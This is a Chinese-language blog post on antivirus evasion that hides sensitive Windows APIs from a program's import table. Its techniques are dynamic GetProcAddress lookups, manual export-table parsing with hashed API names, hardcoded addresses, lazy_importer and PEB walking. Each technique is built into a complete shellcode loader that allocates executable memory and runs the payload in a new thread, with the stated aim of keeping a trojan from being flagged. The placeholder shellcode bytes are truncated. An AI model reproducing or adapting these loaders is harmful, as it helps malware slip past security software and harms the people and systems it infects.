去年就看过倾旋大佬的免杀系列,当时没有win 32基础和pe知识,看起来非常的吃力。趁着寒假学习了一波,终于可以写下本篇。
在windows pe中,存在导入表,记录了使用了那些模块,模块中又使用了那些api。如果一个木马使用了CreateThread,VirtualAlloc等等api。杀软会进行高度重视。
编译倾旋大佬的
代码
,使用StudyPE查看导入表如下
可看到存在VirtualAlloc,VirtualProtect等等敏感api。我们的目标要将它隐藏起来。
#include<stdio.h> #include<Windows.h> int main() MessageBox(0,0,0,0); return 0;
查看导入表,MessageBoxA在USER32.dll里面
现在我们要自定义MessageBox函数,并成功运行起来思路是先获取到USER32.dll里面的MessageBoxA的函数地址。然后自
定义一个MyMessageBox winapi函数。函数的结构必须和微软给出MessageBox一致。之后调用MyMessageBox即可
而要获取dll中的函数地址要用到GetProcAddress
FARPROC GetProcAddress( HMODULE hModule, // 函数或变量的DLL模块的句柄 可用GetModuleHandle或LoadLibrary获取 LPCSTR lpProcName // 函数或变量名 ); // 成功返回函数或变量地址
继续看GetModuleHandle和LoadLibrary
HMODULE GetModuleHandleA( LPCSTR lpModuleName // 模块名称 ); // 成功返回句柄 失败返回NULL HMODULE LoadLibraryA( LPCSTR lpLibFileName // 一个dll文件 ); // 成功返回句柄 失败返回NULL
#include<stdio.h> #include<Windows.h> // 定义函数指针 typedef int(WINAPI * pMessageBoxW)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType int main() // 获取MessageBox函数地址 pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(LoadLibrary("USER32.dll"),"MessageBoxA"); // 调用 MyMessageBox(0,0,0,0); return 0;
运行后弹框
再次查看导入表,成功隐藏了MessageBox,并且USER32.dll也没有了
示例代码
#include <Windows.h> #include <stdio.h> typedef LPVOID(WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect typedef HANDLE(WINAPI *pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId typedef DWORD(WINAPI *pWaitForSingleObject)( HANDLE hHandle, DWORD dwMilliseconds FARPROC GetAddress(LPCSTR lpModuleName, LPCSTR lpProcName) return GetProcAddress(GetModuleHandle(lpModuleName), lpProcName); int main() // shellcode unsigned char shellcode[] = "\x64\x8B\x35"; // 获取大小 int size = sizeof(shellcode); // 1.开辟内存空间 pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)GetAddress("kernel32.dll", "VirtualAlloc"); LPVOID lpAddress = myVirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); if (lpAddress) // 2.复制shellcode CopyMemory(lpAddress, shellcode, size); // 3.执行shellcode pCreateThread myCreateThread = (pCreateThread)GetAddress("kernel32.dll", "CreateThread"); HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL); if (hThread) pWaitForSingleObject myWaitForSingleObject = (pWaitForSingleObject)GetAddress("kernel32.dll", "WaitForSingleObject"); myWaitForSingleObject(hThread, INFINITE); return 0;
深入隐藏
#include <stdlib.h> #include <stdio.h> #include <Windows.h> #include <string.h> int main() HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); if (!hKernel32) return 0; // 使用GetProcAddress得到的VirtualAlloc地址 DWORD virtualAllocAddress = (DWORD)GetProcAddress(hKernel32, "VirtualAlloc"); printf("GetProcAddress = %x\n", virtualAllocAddress); // 解析PE PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader); // 导出表 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions); PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames); PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 解析导出表 for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i) PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]); // 获取VirtualAlloc if (strcmp(pFunctionName, "VirtualAlloc") == 0) // 自己解析得到的VirtualAlloc地址 DWORD myVirtualAllocAddress = (DWORD)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]); printf("PE VirtualAllocAddress = %x\n", myVirtualAllocAddress); break;
运行结果,每台电脑的都不一样
GetProcAddress = 741b6890 PE VirtualAllocAddress = 741b6890
成功手动实现了GetProcAddress功能
然而上述的代码中第31行,还是出现了VirtualAlloc字符。可以使用简单的hash加密进行替换。
#include <stdlib.h> #include <stdio.h> #include <Windows.h> #include <string.h> unsigned int hash(const char* str) unsigned int hash = 7759; // 可替换这里的密钥 int c; while (c = *str++) hash = ((hash << 5) + hash) + c; return hash; int main() HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); if (!hKernel32) return 0; // 解析PE PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader); // 导出表 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions); PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames); PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 解析导出表 for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i) PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]); // 获取VirtualAlloc if (strcmp(pFunctionName, "VirtualAlloc") == 0) // 加密VirtualAlloc后的结果 printf("hash VirtualAlloc %x", hash(pFunctionName)); break;
hash VirtualAlloc 80fa57e1
得到加密后的VirtualAlloc为
80fa57e1
,38行换成if (hash(pFunctionName) == 0x80fa57e1)
,即可避免VirtualAlloc出现。
示例代码#include <stdlib.h> #include <stdio.h> #include <Windows.h> #include <string.h> typedef LPVOID(WINAPI* pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect typedef HANDLE(WINAPI* pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId typedef DWORD(WINAPI* pWaitForSingleObject)( HANDLE hHandle, DWORD dwMilliseconds unsigned int hash(const char* str) unsigned int hash = 7759; // 可替换这里的密钥 int c; while (c = *str++) hash = ((hash << 5) + hash) + c; return hash; int main() pVirtualAlloc myVirtualAlloc = NULL; pCreateThread myCreateThread = NULL; pWaitForSingleObject myWaitForSingleObject = NULL; HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); if (!hKernel32) return 0; // 解析PE PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader); // 导出表 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions); PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames); PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 解析导出表 for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i) PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]); PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]; // VirtualAlloc if (hash(pFunctionName) == 0x80fa57e1) myVirtualAlloc = (pVirtualAlloc)pFunctionAddress; // CreateThread if (hash(pFunctionName) == 0xc7d73c9b) myCreateThread = (pCreateThread)pFunctionAddress; // WaitForSingleObject if (hash(pFunctionName) == 0x50c272c4) myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress; unsigned char shellcode[] = "\x55\x64\x8B\x35"; if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject) return 0; LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); CopyMemory(lpAddress, shellcode, sizeof shellcode); HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL); myWaitForSingleObject(hThread, INFINITE);
导入表已经没有
GetProcAddress
了,但还是存在GetModuleHandle
,解决办法是使用PEB。本人太菜没学过,就不写了
后记
后面想了想,其实还有一种简单又笨的办法。就是先在目标机上获取到
VirtualAlloc
,CreateThread
,WaitForSingleObject
函数的地址。然后直接赋值加载即可// 使用GetProcAddress得到的VirtualAlloc地址 DWORD virtualAllocAddress = (DWORD)GetProcAddress(hKernel32, "VirtualAlloc"); printf("VirtualAlloc = %x\n", virtualAllocAddress);
VirtualAlloc = 74BC6890
拿到上面的地址后,直接进行赋值加载函数地址
#include <stdlib.h> #include <stdio.h> #include <Windows.h> #include <string.h> typedef LPVOID(WINAPI* pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect typedef HANDLE(WINAPI* pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId typedef DWORD(WINAPI* pWaitForSingleObject)( HANDLE hHandle, DWORD dwMilliseconds int main() pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)(0x74BC6890); pCreateThread myCreateThread = (pCreateThread)(0x74BC45D0); pWaitForSingleObject myWaitForSingleObject = (pWaitForSingleObject)(0x74C1DE30); unsigned char shellcode[] = "\x58\x55"; LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); CopyMemory(lpAddress, shellcode, sizeof shellcode); HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL); myWaitForSingleObject(hThread, INFINITE);
过几天后,找到了了别人写好的lazy_importer,用法非常简单,
include
lazy_importer.hpp后,然后把原来函数
改成LI_FN(原来函数)
就行,NULL
改成nullptr
即可。#include <windows.h> #include <stdio.h> #include "lazy_importer.hpp" int main() unsigned char shellcode[] = "\x25\x22"; int size = sizeof(shellcode); LPVOID lpAddress = LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); CopyMemory (lpAddress, shellcode, size); (*(void (*)())lpAddress)();
不过我查看导入表,还是有
GetModuleHandle
函数,暂时先这样吧。更新
完美支持x32/x64的shellcode
#include <stdlib.h> #include <stdio.h> #include <Windows.h> #include <string.h> // 定义peb结构 //https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063 typedef struct _PEB_LDR_DATA ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; }PEB_LDR_DATA, * PPEB_LDR_DATA; //https://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008 typedef struct _PEB BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union BOOLEAN BitField; struct BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN SpareBits : 1; HANDLE Mutant; PVOID ImageBaseAddress; PEB_LDR_DATA* Ldr; //... } PEB, * PPEB; typedef struct USHORT Length; USHORT MaximumLength; PWCH Buffer; }UNICODE_STRING; //https://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102 typedef struct _LDR_DATA_TABLE_ENTRY LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; //... }LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; // 定义peb结构 typedef LPVOID(WINAPI* pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect typedef HANDLE(WINAPI* pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId typedef DWORD(WINAPI* pWaitForSingleObject)( HANDLE hHandle, DWORD dwMilliseconds unsigned int hash(const char* str) unsigned int hash = 7759; // 可替换这里的密钥 int c; while (c = *str++) hash = ((hash << 5) + hash) + c; return hash; int main() pVirtualAlloc myVirtualAlloc = NULL; pCreateThread myCreateThread = NULL; pWaitForSingleObject myWaitForSingleObject = NULL; PEB* peb = NULL; #ifdef _WIN64 // 64位 gs:[0x60] peb = (PEB*)__readgsqword(0x60); #else // 32位fs:[0x30] peb = (PEB*)__readfsdword(0x30); #endif // WIN64 PEB_LDR_DATA* ldr = peb->Ldr; // 头指针 LIST_ENTRY* moduleList = &ldr->InMemoryOrderModuleList; // 头结点 LIST_ENTRY* list = moduleList->Flink; PVOID hKernel32 = NULL; while (list != moduleList) LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - sizeof(LIST_ENTRY)); // 获取KERNEL32.DLL基址 if (lstrcmpiW(pEntry->BaseDllName.Buffer, L"KERNEL32.DLL") == 0) hKernel32 = pEntry->DllBase; break; list = list->Flink; if (!hKernel32) return; // 解析PE PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader); // 导出表 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions); PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames); PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 解析导出表 for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i) PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]); PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]; // VirtualAlloc if (hash(pFunctionName) == 0x80fa57e1) myVirtualAlloc = (pVirtualAlloc)pFunctionAddress; // CreateThread if (hash(pFunctionName) == 0xc7d73c9b) myCreateThread = (pCreateThread)pFunctionAddress; // WaitForSingleObject if (hash(pFunctionName) == 0x50c272c4) myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress; unsigned char shellcode[] = "\xfc\x12"; if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject) return 0; LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); CopyMemory(lpAddress, shellcode, sizeof shellcode); HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL); myWaitForSingleObject(hThread, INFINITE);
而lazy_importer的源码,也用到了peb,实战的时候还是用lazy_importer吧,节省时间。
参考链接
静态恶意代码逃逸(第七课)
动态调用无导入表编译
Malware development part 4 - anti static analysis tricks
PEB结构:获取模块kernel32基址技术及原理分析
- 实战BC从XSS到上线
- 汇编语言加载shellcode
- 翻转cs beacon属性页
- Windows API Exploitation
- VulnHub-Vegeta
- VulnHub-Dawn
- VulnHub-Funbox2
- VulnHub-Tre
- VulnHub-School
- VulnHub-DarkHole
- VulnHub-Presidential
- VulnHub-Raven2
- VulnHub-Tomato
- VulnHub-Cereal
- VulnHub-Narak
- VulnHub-GeminiV2
- VulnHub-GeminiV1
- VulnHub-Pyexp
- 静默退出转储lsass
- BMP位图隐写
- VulnHub-Momentum
- 自研远控 Simple Remote
- 隐藏导入表
- 获取进程用户名域名
- Windows编程笔记
- VulnHub-Ripper
- VulnStack-红队实战(七)
- VulnHub-Nagini
- VulnHub-DoubleTrouble
- VulnHub-Fawkes
- VulnHub-Billu_b0x
- 暗月靶场-项目八
- 暗月靶场-项目六
- VulnHub-Hacksudo:Thor
- VulnHub-Vikings
- VulnHub-Y0usef
- VulnStack-红队实战(三)
- VulnHub-Hacker Kid
- VulnStack-红队实战(四)
- 暗月靶场-项目七
- 暗月靶场-ack123
- VulnStack-红队实战(二)
- VulnHub-EvilBox:One
- 票据传递攻击
- VulnHub-SocialNetwork2.0
- Cobalt Strike破解过程
- VulnHub-AdmX_new
- VulnStack-红队实战(一)
- VulnHub-Chronos
- VulnHub-CloudAV
- VulnHub-SocialNetwork
- VulnHub-MoriartyCorp
- VulnHub-Hackademic:RTB1
- VulnHub-MoneyBox
- 加密远控流量
- CS与MSF联动
- Kerberos原理--经典对话
- Windows权限维持
- Token窃取与利用
- linux内核提权
- 内网信息搜集之内网代理
- MSF发现内网存活主机
- 获取本地hash
- 爆破域用户密码
- 解密rdp凭证
- 哈希传递攻击
- 转储域账户哈希值
- 获取域环境所有DNS解析记录
- Invoke-Obfuscation混淆PS
- 使用anydesk做远控
- HTTP隧道reGeorg
- HTTP隧道ABPTTS
- phpMyAdmin之getshell
- 文件上传bypass总结
- Solr Velocity远程代码执行
- CVE-2019-11043 PHP远程代码执行复现
- VulnHub-DC3
- JBoss未授权访问漏洞
- CouchDB未授权访问漏洞
- Hadoop未授权访问漏洞
- Memcache未授权访问漏洞
- Elasticsearch未授权访问漏洞
- Zookeeper未授权访问漏洞
- MongoDB未授权访问漏洞
- Kali安装docker
- Jenkins未授权访问漏洞
- Redis 4.x/5.x 未授权访问漏洞
- VulnHub-DC2
- VulnHub-DC1
- 一次授权渗透实战
- 数据结构之链表篇
- DVWA
- burpsuite
- Windows提权
- 获取酷我音乐,网易云真实外链
- hexo博客恢复
- hexo博客备份